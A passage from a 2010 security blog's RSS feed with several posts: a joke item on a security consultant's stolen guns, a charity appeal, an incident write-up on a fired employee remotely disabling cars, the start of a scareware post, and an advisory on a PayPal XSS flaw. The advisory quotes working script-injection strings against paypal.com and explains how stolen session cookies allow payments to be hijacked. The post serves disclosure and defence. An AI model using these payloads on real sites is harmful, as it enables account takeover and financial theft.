]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Bo Dietl Lost His Guns</title>
		<link>http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/</link>
		<comments>http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 21:57:48 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[Physical Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3737</guid>
		<description><![CDATA[<a href="http://en.wikipedia.org/wiki/Bo_Dietl">Richard "Bo" Dietl</a> lost his guns. The former NYPD Detective and media contributor on Fox News and the Don Imus show, founder of <a href="http://www.investigations.com/">Beau Dietl &#38; Associates</a>, subject of a film where he was played by Stephen Baldwin, and Chairman of the New York State Security Guard Advisory Council was featured on Jon Stewart's show for being himself burglarized. What's funny is that his description of what happened, particularly his focus on the security measures he had in place but that weren't used, follow the well worn pattern of responses one typically hears after an information security breach (but we were PCI compliant, we had IDS in place, it was a sophisticated attacker, everyone gets hacked, and so forth).]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/fbn-20091123-dietlmmfa.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/fbn-20091123-dietlmmfa-150x150.jpg" alt="fbn-20091123-dietlmmfa" title="fbn-20091123-dietlmmfa" width="110" height="110" class="alignleft size-thumbnail wp-image-3741" /></a></p>

<p><a href="http://en.wikipedia.org/wiki/Bo_Dietl">Richard &#8220;Bo&#8221; Dietl</a> lost his guns. The former NYPD Detective and media contributor on Fox News and the Don Imus show, founder of <a href="http://www.investigations.com/">Beau Dietl &amp; Associates</a>, subject of a film where he was played by Stephen Baldwin, and Chairman of the New York State Security Guard Advisory Council was featured on Jon Stewart&#8217;s show for being himself burglarized. What&#8217;s funny is that his description of what happened, particularly his focus on the security measures he had in place but that weren&#8217;t used, follow the well worn pattern of responses one typically hears after an information security breach (but we were PCI compliant, we had IDS in place, it was a sophisticated attacker, everyone gets hacked, and so forth).</p>

<h3>Back Story</h3>

<p>Bo Dietl had his guns (9 handguns and a shotgun) stolen from his 1 Penn Plaza office sometime between November 2007 and last January according to his time frame. He spends time in the clip showing us his office&#8217;s four hour safe (fire protection is given in hours), the safe the guns were next to, not in. The shot gun was on top of a bookshelf.</p>

<h3>The Daily Show, 04/15/2010</h3>

<table style='font:11px arial; color:#333; background-color:#f5f5f5' cellpadding='0' cellspacing='0' width='360' height='353'><tbody><tr style='background-color:#e5e5e5' valign='middle'><td style='padding:2px 1px 0px 5px;'><a target='_blank' style='color:#333; text-decoration:none; font-weight:bold;' href='http://www.thedailyshow.com'>The Daily Show With Jon Stewart</a></td><td style='padding:2px 5px 0px 5px; text-align:right; font-weight:bold;'>Mon &#8211; Thurs 11p / 10c</td></tr><tr style='height:14px;' valign='middle'><td style='padding:2px 1px 0px 5px;' colspan='2'<a target='_blank' style='color:#333; text-decoration:none; font-weight:bold;' href='http://www.thedailyshow.com/watch/thu-april-15-2010/he-s-come-ungunned'>He&#8217;s Come Ungunned<a></td></tr><tr style='height:14px; background-color:#353535' valign='middle'><td colspan='2' style='padding:2px 5px 0px 5px; width:360px; overflow:hidden; text-align:right'><a target='_blank' style='color:#96deff; text-decoration:none; font-weight:bold;' href='http://www.thedailyshow.com/'>www.thedailyshow.com</a></td></tr><tr valign='middle'><td style='padding:0px;' colspan='2'><embed style='display:block' src='http://media.mtvnservices.com/mgid:cms:item:comedycentral.com:270695' width='360' height='301' type='application/x-shockwave-flash' wmode='window' allowFullscreen='true' flashvars='autoPlay=false' allowscriptaccess='always' allownetworking='all' bgcolor='#000000'></embed></td></tr><tr style='height:18px;' valign='middle'><td style='padding:0px;' colspan='2'><table style='margin:0px; text-align:center' cellpadding='0' cellspacing='0' width='100%' height='100%'><tr valign='middle'><td style='padding:3px; width:33%;'><a target='_blank' style='font:10px arial; color:#333; text-decoration:none;' href='http://www.thedailyshow.com/full-episodes/'>Daily Show Full Episodes</a></td><td style='padding:3px; width:33%;'><a target='_blank' style='font:10px arial; color:#333; text-decoration:none;' href='http://www.indecisionforever.com'>Political Humor</a></td><td style='padding:3px; width:33%;'><a target='_blank' style='font:10px arial; color:#333; text-decoration:none;' href='http://www.thedailyshow.com/videos/tag/Tea+Party'>Tea Party</a></td></tr></table></td></tr></tbody></table>

<h3>Beau Dietl &amp; Associates</h3>

<p>The firm primarily handles personnel and physical security, and has a list of firms, events, and celebrities for which they have provided personal protection.</p>

<p>Unfortunately when Bo starts advising on information security, the wheels fall off the wagon:</p>

<p><embed type='application/x-shockwave-flash' src='http://foxnews1.a.mms.mavenapps.net/mms/rt/1/site/foxnews1-foxnews-pub01-live/current/videolandingpage/fncLargePlayer/client/embedded/embedded.swf' id='mediumFlashEmbedded' pluginspage='http://www.macromedia.com/go/getflashplayer' bgcolor='#000000' allowScriptAccess='always' allowFullScreen='true' quality='high' name='FOX News' play='false' scale='noscale' menu='false' salign='LT' scriptAccess='always' wmode='false' height='275' width='305' flashvars='playerId=videolandingpage&#038;playerTemplateId=fncLargePlayer&#038;categoryTitle=undefined&#038;referralObject=3099919' /></p>

<h3>Finally</h3>

<p>A laugh on a Friday along with two important lessons: the best security measures don&#8217;t work when they&#8217;re not actually used, and practice what you preach.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/">For Access Call, or Walk Right In</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/">Happy 30th Birthday Pac-Man, Google Style</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">Best Information Security Commercial Evah&#8230;</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Give this Man a Haircut and Support a Worthwhile Cause</title>
		<link>http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/</link>
		<comments>http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 19:52:43 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Technology in Society]]></category>
		<category><![CDATA[google hacking]]></category>
		<category><![CDATA[johnny long]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3725</guid>
		<description><![CDATA[Gal Shpantzer, friend of the blog, fellow blogger, and <a href="http://blogs.csoonline.com/blog/gal_shpantzer">a writer for CSO Online</a> asked us to bring some attention to a <a href="http://blogs.csoonline.com/1194/i_dare_you_to_make_me_get_a_mohawk_its_for_a_good_cause_really">worthy cause</a>. As part of his talk at Security B-Sides Boston in Cambridge, MA, he will partake in certain unabashed activities for each monetary contribution threshold reached for Hackers for Charity.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/shpantzer_mohawk1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/shpantzer_mohawk1.jpg" alt="shpantzer_mohawk" title="shpantzer_mohawk" width="69" height="85" class="alignleft size-full wp-image-3748" /></a></p>

<p>Gal Shpantzer, friend of the blog, fellow blogger, and <a href="http://blogs.csoonline.com/blog/gal_shpantzer">a writer for CSO Online</a> asked us to bring some attention to a <a href="http://blogs.csoonline.com/1194/i_dare_you_to_make_me_get_a_mohawk_its_for_a_good_cause_really">worthy cause</a>. As part of his talk at Security B-Sides Boston in Cambridge, MA, he will partake in certain unabashed activities for each monetary contribution threshold reached for Hackers for Charity.</p>

<p>If the total amount of money raised is $3,000 or more, he will shave his head into a Mohawk.</p>

<p>At the $5,000 level, he says he will wear a kilt. For this second one, we&#8217;re not sure how doing something he likes to do anyway is a personal challenge, but whatever.</p>

<h3>The Specifics</h3>

<p>To donate via PayPal, start at the following address: <a href="http://www.hackersforcharity.org/hackers-for-charity/get-involved/#Long_Journey">http://www.hackersforcharity.org/hackers-for-charity/get-involved/#Long_Journey</a>.</p>

<p>When you receive a receipt from PayPal for the donation amount, please e-mail the relevant portions to: <u>mohawk@security-twits.com</u>. If the above thresholds are reached by April 24th, Gal Shpantzer will really need that hat he&#8217;s always pictured in wherever he goes.</p>

<h3>About Hackers for Charity</h3>

<p>Hackers for Charity is a non-profit organization created by Johnny Long. The overall goals of Hacking for Charity <a href="http://www.hackersforcharity.org">are listed</a> as follows:</p>

<ul>
<li>We feed children through our  &#8220;food for work&#8221; program </li>
<li>We build computer labs to help students learn skills and land jobs that are key to disrupting poverty&#8217;s vicious cycle. </li>
<li>We provide technical assistance to charities that can not afford IT services.</li>
</ul>

<div id="attachment_3733" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/IMG_4245-300x225.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/IMG_4245-300x225.jpg" alt="The Jinja, Uganda community center." title="IMG_4245-300x225" width="300" height="225" class="size-full wp-image-3733" /></a><p class="wp-caption-text">The Jinja, Uganda community center.</p></div>

<p>A center was recently opened under the initiative in Jinja, Uganda in East Africa. The goal of the center is to provide hands on computer training to a community that will soon reap the benefits of high speed fiber lines such as the ones running from Mombasa. In order to realize job creation in these areas, people who have never before touched a computer require hands on experience, experience that can be gained using the free training resources and heavily discounted computer usage fees available at the new center.</p>

<p>You can read the rest of what is an interesting progression, see which firms have supported the training initiative, and even read the story of one condescending company that wouldn&#8217;t help <a href="http://www.hackersforcharity.org/community-centers/">here</a>.</p>

<h3>Johnny Long</h3>

<p>Johnny Long is a security researcher best known for popularizing Google hacking, using search phrases in the popular search engine to identify vulnerable services on the Internet and for being as he&#8217;s described it, a &#8220;Christian hacker&#8221;. He&#8217;s published a book on the Google hacking techniques, and contributed to more than ten other works in information security literature.</p>

<h3>Finally</h3>

<p>We at Praetorian also think Gal should die the mohawk one color and the rest of his hair another.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/">Zuckerburg Apologizes for Facebook Privacy Changes</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/lojack-for-children/">LoJack for children</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/yahoo-and-the-objectification-of-women/">Yahoo! and the Objectification of Women</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>XSS Flaw on PayPal.com</title>
		<link>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 22:13:42 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[pci]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3582</guid>
		<description><![CDATA[Earlier today Wesley Kerfoot reported on the Full Disclosure mailing list that a page in the Paypal.com domain is susceptible to a non-persistent reflected cross site scripting attack (XSS). While non-persistent XSS bugs are somewhat common, this is quite serious for a site like PayPal, where user accounts are linked directly to bank accounts, debit, or credit cards and payment can be made to third parties without any additional authentication after user access is gained.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_logo.jpg" alt="paypal_logo" title="paypal_logo" width="119" height="119" class="alignleft size-full wp-image-3584" /></a></p>

<p>Earlier today Wesley Kerfoot reported on the Full Disclosure mailing list that a page in the Paypal.com domain is susceptible to a non-persistent reflected cross site scripting attack (XSS). While non-persistent XSS bugs are somewhat common, this is quite serious for a site like PayPal, where user accounts are linked directly to bank accounts, debit, or credit cards and payment can be made to third parties without any additional authentication after user access is gained.</p>

<p><i>Update: As of 7pm EST, it appears that a mitigation has been implemented for this vulnerability on the PayPal web site where all requests to /xclick/business redirect to the PayPal homepage.</i></p>

<p>An attacker able to trick a user with a valid Paypal session into clicking a crafted version of the link below  (wouldn&#8217;t be hard, think a link on an eBay auction listing or a phishing e-mail for example) could hijack the user&#8217;s session and initiate financial transactions on their behalf including money transfers. Alternatively this legitimate URL could be used to redirect the user to a spoofed PayPal web site designed to steal user credentials, which is a fairly common scam except in this case more effective as the user would see an actual PayPal URL to click on.</p>

<h3>Attack String</h3>

<p>The following string is provided as example in the Full Disclosure posting:</p>

<pre><code>https://www.paypal.com/xclick/business=&lt;script&gt; alert("xss"); &lt;/script&gt;
</code></pre>

<p>Which in turn results in this:</p>

<p><div id="attachment_3586" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_xss.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_xss.jpg" alt="Javascript injected as part of a name-value pair is reflected on the resulting web page." title="paypal_xss" width="750" height="780" class="size-full wp-image-3586" /></a><p class="wp-caption-text">Javascript injected as part of a name-value pair is reflected on the resulting web page.</p></div>
<br /></p>

<p>Of course where this works, this will just as easily work:</p>

<pre><code>https://www.paypal.com/xclick/business=&lt;script&gt; alert(document.cookie); &lt;/script&gt;
</code></pre>

<p>Which dutifully reflects back wrapped in a header tag on the resulting page:</p>

<pre><code>&lt;div class="legacyErrors " id="page"&gt;
&lt;div id="header"&gt;&lt;h1&gt;&lt;script&gt; alert(document.cookie); &lt;/script&gt;&lt;/h1&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;div id="content"&gt;
&lt;div id="headline"&gt;
</code></pre>

<p>And finally which displays the user&#8217;s logged in session information:</p>

<p><div id="attachment_3587" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_cookie.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_cookie.jpg" alt="The result of injecting alert(document.cookie) into the same page for a logged in PayPal user." title="paypal_cookie" width="750" height="101" class="size-full wp-image-3587" /></a><p class="wp-caption-text">The result of injecting alert(document.cookie) into the same page for a logged in PayPal user.</p></div>
<br /></p>

<p>Rather then displaying the cookies, the attacker would redirect the information to another web site, set them locally as his session, and begin to initiate transactions on the part of the user. This is only one example, since Javascript can be executed in the context of the PayPal web site, the attacker could write a script to do just about any action on the site that is possible using Javascript, Flash, etc.. Site redirects, iFrame injection, and even other injection flaws are possible on a web page that does not validate untrusted input.</p>

<h3>XSS at a High Level</h3>

<p>While the definition is ever expanding, XSS attacks are generally considered a type of injection problem where malicious input is injected into an otherwise trusted web page causing an unexpected behavior such as sending data to or from an unknown third party web site (cross site). Because the script is being run in the context of the trusted web site, it has access to cookies such as session tokens, as well as any other user information available within the security context of that web site. XSS vulnerabilities are somewhat common in web applications and will occur unfettered wherever untrusted input is not validated by the web application or encoded before output back to the user.</p>

<h3>PayPal</h3>

<p>The San Jose based company is owned by eBay and has more than 78 million customer accounts. As such the service is used to clear many of the transactions on the popular auction site. The service allows users to send money without needing to share financial information, a key enabler for sending and receiving money from third parties on the Internet. They are in some 190 markets around the world and can work with 19 different currencies.</p>

<p>In 2008 roughly $60 billion dollars moved through Paypal&#8217;s systems.</p>

<p>Paypal does make available additional authentication protection in the form of <a href="https://www.paypal.com/cgi-bin/webscr?cmd=xpt/Marketing_CommandDriven/securitycenter/PayPalSecurityKey-outside">a one time password token</a> called a &#8217;security key&#8217; by them (similar to the ones made popular by RSA). The token costs five dollars and is available to residents of Australia, Germany, Canada, the United Kingdom and the United States. Paypal however allows a bypass of this hard token by allowing the user to enter further information such as credit card or bank number, severely impacting its effectiveness as a security measure.</p>

<p>Further authentication &#8220;on the front door&#8221; of the web site (the login screen) does not prevent a user session from being hijacked after authentication as is possible in a cross site scripting attack like this one.</p>

<h3>PCI Compliance</h3>

<p>Of note is that PayPal does claim PCI compliance, involving the following activities <a href="https://www.paypal.com/pcicompliance">in their words</a>:</p>

<ul>
<li>Maintain a vulnerability management program</li>
<li>Pass quarterly remove vulnerability scans</li>
</ul>

<p>The wording on that second bullet from the PayPal site is a little strange, we assume it means to pass vulnerability scans that validate whether earlier problems identified by previous scans were removed.</p>

<p>The attack string above is basic enough that it would or should be tested and picked up as a vulnerability by the most rudimentary web scanners available, throwing the validity of any scanning being done into question. Actual credit card data is displayed in an obfusticated manner on the Profile section of the web site (only the last four digits show up on the site), so the site may be considered out of scope of a PCI required scan?</p>

<p>The digital certificate of the scanalert.com URL, a redirect to the McAfee service PayPal provides to its business customers at no cost for a year, has a bad digital certificate.</p>

<h3>Finally</h3>

<p>Generally users can apply for refunds from PayPal when an account has been broken into, but like any other service there are <a href="http://www.paypalsucks.com">a share of horror stories</a>. In general a site such as this should <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">escape all output</a> that originates from untrusted sources, with the variety of possible attack strings this is not full proof but is a significant mitigation against injection attacks. This is not PayPal&#8217;s first brush with this problem, <a href="http://www.channelregister.co.uk/2008/05/16/paypal_page_succumbs_to_xss/">last year a similar issue</a> was identified by Harry Sintonen. As PayPal is, for many users of eBay and other online services, the only payment game in town (the only one which a seller will use to collect payment) this type of issue needs to be corrected fairly quickly in a comprehensive manner (a site wide change to introduce web vulnerability scanning, escape all user provided input when outputted, and/or validation of all user provided input ideally).</p>

<h3>References</h3>

<ul>
<li><a href="http://seclists.org/fulldisclosure/2010/Mar/486">Full Disclosure &#8211; Paypal XSS Vulnerability</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure XSS on Anti-Theft Website</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/">Formspring.me XSS Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Bad Password Management Will Stop You in Your Tracks</title>
		<link>http://praetorianprefect.com/archives/2010/03/bad-password-management-will-stop-you-in-your-tracks/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/bad-password-management-will-stop-you-in-your-tracks/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 01:37:49 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Access Control]]></category>
		<category><![CDATA[password management]]></category>
		<category><![CDATA[termination checklist]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3562</guid>
		<description><![CDATA[Refusing to maintain and follow a good termination checklist that walks through what access rights to decommission when someone leaves your company can put the brakes on your customers’ good will. Texas Auto Center in Austin Texas demonstrated the headaches that ensue when in February they left more than 80 customers who financed cars unable to get to school, work, and stuck with charges for towing and unnecessary repair work.

Originally diagnosed as mechanical failures in the cars, the problems stopped as soon as all the passwords for the WebTeckPlus system used by the firm were reset. A recently terminated employee, twenty year old Omar Ramos-Lopez, had used still active credentials to login to the web administration portal of the Auto Center’s payment incentive vendor and used it to disable vehicle starters or, according to police reports, have horns honk through the night.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/PT_System.jpg"><img class="alignleft size-thumbnail wp-image-3564" title="PT_System" src="http://praetorianprefect.com/wp-content/uploads/2010/03/PT_System-150x150.jpg" alt="PT_System" width="150" height="150" /></a></p>

<p>Refusing to maintain and follow a good termination checklist that walks through what access rights to decommission when someone leaves your company can put the brakes on your customers’ good will. Texas Auto Center in Austin Texas demonstrated the headaches that ensue when in February they left more than 80 customers who financed cars unable to get to school, work, and stuck with charges for towing and unnecessary repair work.</p>

<p>Originally diagnosed as mechanical failures in the cars, the problems stopped as soon as all the passwords for the WebTeckPlus system used by the firm were reset. A recently terminated employee, twenty year old Omar Ramos-Lopez, had used still active credentials to login to the web administration portal of the Auto Center’s payment incentive vendor and used it to disable vehicle starters or, according to police reports, have horns honk through the night.</p>

<p>In the case of Ramos, Texas Auto Center is claiming that his account was terminated when he was a part of a reduction in force last month, but that he used another employee’s account to access the system. Once in he began perusing the database of 1,100 Texas Auto Center customers with the device installed, first targeting specific customers but then going down the list corrupting records, setting off car horns, and disabling cars. When police obtained access logs from the vendor, Pay Technologies LLC, the Internet Protocol address of Ramos-Lopez’s AT&amp;T Internet service showed up.</p>

<p><div id="attachment_3565" class="wp-caption alignnone" style="width: 410px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/texas_auto_mall.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/texas_auto_mall.jpg" alt="The Texas Auto Mall in Austin, TX." title="texas_auto_mall" width="400" height="179" class="size-full wp-image-3565" /></a><p class="wp-caption-text">The Texas Auto Mall in Austin, TX.</p></div>
<br /></p>

<h3>Payment Incentive Systems</h3>

<p>The types of systems used to remotely disable the vehicles are largely designed to replace physical repossessions at so called subprime auto dealers. What started as somewhat clunky keypads that required vehicle operators to punch in five digit codes to get a vehicle to start, a code given to them when their car payment was made, has moved to more sophisticated remote technology. Devices such as these have been around for a little more than 15 years now. Their functionality falls into two categories, solutions that render the vehicle inoperative and those that allow for electronically locating the vehicle (GPS) for repossession.</p>

<p>The vendor in this case, Pay Technologies LLC in Cleveland, offers such services under the labels WebTeck and PayTeck GPS. Their model allows auto dealers to install a small device, a small black box, under the car’s dashboard. The device responds to commands relayed over a wireless pager network, commands that are sent via a web based dashboard maintained by Pay Technologies. Commands such as honking the car horn or disabling the car’s ignition are examples of what dealers are able to do. Note that a running car cannot be cut off however, for obvious safety reasons.</p>

<p>Proponents of these payment incentive systems state that without them, persons with severely damaged credit would not be able to finance the same type of car they are able to purchase with the assurances provided by these devices. In a 2005 article, one dealer is quoted as stating that his repossessions dropped from 45% to 15% and allowed him to make car sales to buyers who would normally be shut out of financing options.</p>

<p>Still, the devices make people uncomfortable. There is the threat of being stranded, although dealers are advised to only cut off starters early in the morning, to avoid that happening. Further there is the question about what happens in an emergency. In the case of Pay Technologies, a 24 hour grace period can be enabled, allowing the car to start, in the case of such emergency. Finally, the GPS tracking raises privacy concerns.</p>

<p>Despite these issues, court challenges to the devices have largely been unsuccessful when proper disclosure of the devices installation is made. In a 1999 filing against Mel Farr, a football HOF member and Detroit car auto dealer, a handful of customers sought to have the devices removed for being dangerous. The court sided with Farr.</p>

<h3>Information Security Considerations</h3>

<p>Looking at this from an information security perspective, a couple of problems come to light. First, while Ramos-Lopez’s account was disabled, where the dealership was aware that password sharing was going on, and that a reduction in force was taking place, the whole episode would have been avoided with a company-wide password reset following the terminations. That and working towards eliminating password sharing (prevent multiple logins from different IP’s, report on strange login activity) is a good practice.</p>

<p>On a more general note, in order to be effective, a good access management practice has a number of characteristics. Chief among these are that access rights should be reviewed in conjunction with business managers at some regular interval (quarterly or monthly, depending on your risk disposition), anytime someone undergoes a significant role transfer within a firm, and most importantly when someone leaves a firm. The management overhead of this process is made easier when the raw number of password authentication systems is limited through enabling technologies such as central authentication/authorization services or single sign on. To put it simply, users must track and protect less passwords, less passwords need to be changed in response to business events, and access control rights are easier to review when some consistency exists between installed applications across an enterprise.</p>

<h3>Also</h3>

<p>Perhaps a second relevant question for the information security community is why attacks on these systems haven’t happened more often. Crackers, despite reports that they have all moved to an all economic incentive approach, still perform acts of mischief. The web site administration for this system, a system that can be used to disable automobiles, is protected by <a href="https://ssl47.pair.com/payteck/webteckplus/index.php">a simple password authentication</a> that is open to brute force attack. The answer may simply be that the existence of this technology and how it worked was not well known. As Pay Technologies CEO Jim Krueger noted, this is the first time this technology has been abused. Now that its existence is more public, one can wager that it won’t be the last.</p>

<p>Also, Ramos-Lopez didn&#8217;t &#8216;hack&#8217; anything.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.wired.com/threatlevel/2010/03/hacker-bricks-cars/">Hacker Disables More Than 100 Cars Remotely</a></li>
<li><a href="http://www.texasautocenter.net/">Texas Auto Center</a></li>
<li><a href="http://www.payteck.cc">Pay Technologies</a></li>
<li><a href="http://www.usatoday.com/tech/news/techinnovations/2005-11-29-tech-repo-man_x.htm">High-tech &#8216;repo man&#8217; keeps car payments coming</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/bad-password-management-will-stop-you-in-your-tracks/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Proliferation Of Scareware Hits Home</title>
		<link>http://praetorianprefect.com/archives/2010/03/the-proliferation-of-scareware-hits-home/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/the-proliferation-of-scareware-hits-home/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 02:14:46 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[scareware]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[rogue antivirus]]></category>
		<category><![CDATA[seo poisoning]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3572</guid>
		<description><![CDATA[The agitation in the voice on the phone shook me from sleep early Saturday morning: My Uncle the surgeon had a computer problem and he was concerned enough to call. He explained he had been trying to view pictures of a newly renovated base in South Korea when all of a sudden McAfee popped up and did a scan, revealing 28 viruses. But for some reason the new module McAfee wanted him to install wasn’t working because the site wouldn’t accept either of his credit card numbers.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/scareware2.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/scareware2-150x150.jpg" alt="scareware2" title="scareware2" width="150" height="150" class="alignleft size-thumbnail wp-image-3575" /></a></p>

<p>The agitation in the voice on the phone shook me from sleep early Saturday morning: My Uncle the surgeon had a computer problem and he was concerned enough to call. He explained he had been trying to view pictures of a newly renovated base in South Korea when all of a sudden McAfee popped up and did a scan, revealing 28 viruses. But for some reason the new module McAfee wanted him to install wasn’t working because the site wouldn’t accept either of his credit card numbers.</p>

<p>Most security professionals don’t need any further information to know what happened and that it wasn’t the McAfee installation firing these apparent anti-virus (AV) alerts. Instead this was a web dialogue with animations masquerading as the Windows My Computer screen and an AV dialogue. Accepting the download lead to a malicious software installation and payment screen, a scam commonly referred to as scareware. Scareware is software sold or downloaded by creating a perception of a threat to the user, playing off that user’s fear and anxiety of viruses and spyware infecting his or her computer.The real McAfee <a href="http://newsroom.mcafee.com/article_display.cfm?article_id=3631">estimates</a> that worldwide scareware scams have raked in profits of more than $300 million annually, with a meteoric growth rate of 660% for infections over the past two years. The number of scareware product variants was about <a href="http://www.trustedsource.org/blog/393/Scareware-Poses-Danger-to-Consumers">142 in 2004</a>, there have been 110 new variants tracked in just the first two months of 2010.</p>

<p>The software, originally spread through classic methods such as spam, has moved on to more sophisticated attacks by providing links to infected web sites through popular social media content such as Twitter, YouTube, and <a href="http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/">Facebook</a>, by feeding a corrupted advertisement into an ad network for web sites, and by poisoning search results called Search Engine Optimization (SEO) poisoning.</p>

<p>This last attack, SEO poisoning, was what infected my Uncle: a web search was poisoned with results from compromised legitimate web sites. By creating content with popular terms and linking back to it from legitimate ranked sites, the rules search engines like Google use to prioritize results are subverted. The video below demonstrates the effect with search results that showed up the first page of Google results shortly after the earthquake in Haiti:</p>

<p><object width="400" height="310"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8748497&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8748497&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="310"></embed></object>
<br /></p>

<p>This rogue anti-virus/spyware software is distributed through a complex network involving around fifty known companies at the top building and distributing software to affiliates who earn rewards for successful sales. The companies at the top of this scheme operate at times with such impunity that their executives are bold enough to have professional profiles on the <a href="http://www.trustedsource.org/blog/393/Scareware-Poses-Danger-to-Consumers">business networking site LinkedIn</a>.</p>

<p>In October of 2008 one of these networks was mapped out when a hacker named Neon broke into a computer housing accounting information for a Russian company called Bakasoftware. This company provided access to solicited affiliates through an online control panel providing varied methods of infecting computers. Affiliates could earn from <a href="http://www.secpoint.com/Bakasoftware-Russian-Scareware-Named-and-Shamed-By-Hacker.html">58% to 90% commission</a> on sales of the rogue software.</p>

